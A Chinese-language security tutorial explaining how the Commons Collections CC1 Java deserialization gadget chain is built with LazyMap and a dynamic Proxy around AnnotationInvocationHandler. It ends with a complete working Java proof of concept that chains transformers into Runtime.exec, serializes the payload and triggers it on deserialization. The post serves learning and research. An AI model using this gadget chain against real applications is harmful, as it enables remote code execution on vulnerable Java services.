免责声明:
本文仅用于技术讨论与学习,由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Dragon7 SEC及作者不为此承担任何责任,一旦造成后果请自行承担!如文章侵权请告知我们,我们将立即致歉并删除。
上一篇关于文章中介绍了如何构造CC1利用链的POC以及CC1的原理,那条链子是基于TransformedMap的,有了前一篇的铺垫,相信大家也对Java原生发序列化有了一定的认识,所以这一篇直接开门见山的讲一下CC1利用链的另一种构造方式(使用LazyMap构造),在著名的Java反序列化利用工具ysoserial中生成CC1的POC时Gadget Chain中利用的触发Transform的类不是TransformedMap而是LazyMap,所以避不开我们要来了解学习一下这条链子具体的原理。
首先我们来回顾一下使用Transformedmap构造CC1利用链的思路
其实简单来说就是在AnnotationInvocationHandler类在进行反序列化时会调用重写的readObject方法,在重写的readObject方法中又调用了setValue方法,从这里走到TransformedMap父类的setValue方法中紧接着在该方法中又会调用checkSetValue方法从在该方法中触发ChainedTransformer的transform从而进行链式的transform调用从而达到触发命令执行的目的。
LazyMap中的get方法中调用了transform方法,目的是装饰一个map(对Map增强),在map获取不到值时调用transform来获取一个值并返回,以此实现懒加载。
用途并不是我们关注的点,我们的目的是利用它来实现RCE,那就要向上找入口,寻找哪里调用了get方法。
在AnnotationInvocationHandler的invoke方法中熟悉的memberValues成员调用了get方法。
可是入口明明在readObject方法中,我们应该如何触发invoke方法呢?
ysoserial工具的作者利用到了java对象代理( java.reflect.Proxy)。什么是对象代理呢?对象代理可以在一个对象进行方法调用时劫持该方法
Proxy可以对任意对象进行修饰,在修饰后调用该对象的任意方法时都会先走到其第三个参数InvocationHandler的invoke方法中进行中间操作,最后再跳转到调用的目标方法中(和网络代理类似,只不过这里是用在方法调用),也就是走了一层中间代理,InvocationHandler是一个接口,实现这个接口后可以自定义invoke方法内容,以此达到劫持/转发的目的,在invoke中可以做一些逻辑判断后再转发到目标方法,类似中间人。
接下来,再回到AnnotationInvocationHandler中,可以看到AnnotationInvocationHandler实现了InvocationHandler,因此AnnotationInvocationHandler可以作为Proxy的InvocationHandler参数,使用其代理一个Map,那么在map调用任意方法时都会走到AnnotationInvocationHandler的Invoke方法中。
整体的流程就是创建一个Proxy用来代理Map对象,再创建AnnotationInvocationHandle对象作为Proxy的InvocationHander,且将AnnotationInvocationHandle对象的membersvalue属性设置为LazyMap。这里还不能直接对Proxy进行序列化,因为入口在AnnotationInvocationHandle的readObject方法中,所以还需要再创建一个AnnotationInvocationHandle对象,且将Proxy作为membersvalue属性,这样一来走到readObject方法时,对membersvalue进行任意方法调用都会走到第一个AnnotationInvocationHandle对象的invoke方法中,此时membersvalue为LazyMap,即会走到get方法中,走到ChainedTransformer的transform方法中进行链式调用触发命令执行。
流程图:
POC:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapChains {
public static void main(String[] args) throws Exception {
// 创建Transformer列表,创建ChainedTransformer进行链式调用
Transformer[] TransList = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"wt"})
};
Transformer transChain = new ChainedTransformer(TransList);
Map map = new HashMap();
//创建LazyMap对象
Map dangerousMap = LazyMap.decorate(map, transChain);
//反射获取AnnotationInvocationHandler构造方法创建实例
Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = annotation.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
//创建AnnotationInvocationHandler实例,membersvalue为LazyMap
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, dangerousMap);
//创建代理,代理Map对象,当调用Map的任意方法时会触发AnnotationInvocationHandler的invoke方法
Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
//序列化AnnotationInvocationHandler对象此时membersvalue为代理对象,当readObject中调用membersvalue的任意方法时都会触发handler的invoke函数
handler = (InvocationHandler) construct.newInstance(Retention.class, proxy);
//序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(handler);
//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();
}
}